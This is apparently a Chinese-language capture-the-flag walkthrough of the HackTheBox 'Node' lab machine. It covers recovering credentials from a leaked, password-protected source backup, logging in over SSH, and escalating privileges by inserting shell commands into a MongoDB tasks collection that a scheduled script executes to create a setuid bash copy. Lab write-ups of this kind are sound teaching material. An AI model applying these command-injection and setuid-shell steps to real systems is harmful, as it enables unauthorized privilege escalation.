Node(源码泄露+密码学相关)

靶机下载地址

学习资料

https://rastating.github.io/hackthebox-node-walkthrough/

扫描

1
2
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework

web

找到了用户名密码,还蛮顺利的== 2

1

1
2
3
4
info1:myP14ceAdm1nAcc0uNT/manchester
tom/spongebob
mark/snowflake
rastating/解密失败

通过admin登陆

面板上,可以下载一个backup文件。 打开一看,base64解码一下。 解码后,发现很多乱码,然后夹杂着路径。因为有明文路径,说明base64解码是成功的。 3

备份文件分析

写个脚本,提取出路径,并分析。路径共有1726行 4

分析的时候发现不对,然后再把路径去重一下。路径变为863行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
#搜索路径
with open("new.txt","r") as f:
	handle = f.read()
	myre = 'var[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]' #1726 found
	result = re.findall(myre,handle)
#去重复
unique_path = []
for i in result:
	if i not in unique_path:
		unique_path.append(i)
	
print len(unique_path)
#保存路径
with open('foundend.txt','a') as f1:
	for i in unique_path:	
		f1.write(i+'\r\n')	

提取数据库文件

curl -o a.html http://192.168.1.129:3000/node_modules/mongodb-core/conf.json 貌似要登陆 5

curl -o a.html -u myP14ceAdm1nAcc0uNT:manchester http://192.168.1.129:3000/node_modules/mongodb-core/conf.json

任何请求都会跳转到主页面,尝试禁用js,无效;带admin的cookie,无效;应该是服务器设置了参数。

误区

本来想要提取提取用户名密码,从数据库里,然后ssh登陆的。 但是一直跳转回主页面,纠结了有半小时多吧。

然后突然想起来,前面访问http://192.168.1.129:3000/api/users 是顺利的,并没有跳转到主页。所以。。。

6 发现是从var/www/myplace/static/从static作为网站根目录,而不是var/www目录,ORZ …

所以,例如目录:var/www/myplace/static/uploads/mark.jpg 应该访问:http://192.168.1.129:3000/uploads/mark.jpg

如果访问错误的链接,会跳转到主页。

没线索了

看看wp

1
2
3
#cat myplace.backup | base64 -d > unknow
#file unknow
unknow: Zip archive data, at least v1.0 to extract

base64加密之后,要用zip再解压一下。。。 我竟然用python提取出路径!!!虽然最近是在学编程,但这里真的不是在考编程啊!!!woc

zip有密码保护,破解zip密码详细请看另一篇 总之,破解密码之后,解压zip得到了源代码。························································ 7

info2:SSH服务 mark:5AYRft73VtFpc84k

准备提权

通过源码泄露的口令,ssh登陆 ssh mark@192.168.1.129

文件上传

将shell脚本传到目标机,检查下有无可利用的信息。 linEnum.sh提权脚本

在生成的扫描报告中,发现本地开放27017端口。稍微搜索一下,就知道是mongodb服务。 8

在进程里发现tom用户运行了一个app.js,于是我们查看一下 9

代码分析

/var/scheduler/app.js 在这个js文件中,有一行

1
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

我们知道了,mongo数据库:

  • 用户名:mark
  • 密码:5AYRft73VtFpc84k
  • 数据库端口:27017
  • 数据库名:scheduler

通过数据库命令执行

mongo -p -u mark scheduler 输入info2的口令5AYRft73VtFpc84k

  • 以下命令,使得mark(普通用户)得到了tom(特权用户)的shell。
    1
    db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/tombash; chmod u+s /tmp/tombash;" } );
    

  • 运行tombash,就得到了tom的shell
    1
    db.tasks.insert( { cmd: "/bin/chown tom:admin /tmp/tombash; chmod g+s /tmp/tombash;" } );
    
  • exit 退出数据库 稍等一会儿,插入js文件被执行,tom这用户,被添加了admin组。 12

解释

mongo -p -u mark scheduler 以用户名mark连接scheduler数据库 db.tasks.insert(xx) 将数据xx插入到scheduler这个数据库的tasks集合中。 10 在图片中,可以看到exec(doc.cmd); 于是我们插入的命令,就会被这个js脚本所执行。于是mark这个用户就加入了最高权限组admin。

root.txt

关于root的flag在这个文件/usr/local/bin/backup中,用file命令查看一下。 backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped 貌似是一个可执行文件,执行一下,没有任何反应。 用vi命令查看一下

info3

得到了编码的信息。和之前一样,base64解码再zip解压。

1
2
3
4
5
^@Validated access token^@^@Ah-ah-ah! You didn't say the magic word!

^@..^@^@^@Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

解压:unzip backup.zip

1
2
Archive:  base.zip
   skipping: root.txt                need PK compat. v5.1 (can do v4.6)

并没有解压出来,于是: 13 发现需要密码,用之前的口令尝试一下啊,发现magicword可以解压成功。

然后就得到了root的flag……个P呀。 Screenshot from 2018-10-13 00-42-22

writeup看都看不懂为什么要这么做。总之加密解密这块,我的知识还很欠缺。总之,运行下面命令,就得到了root的flag。

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip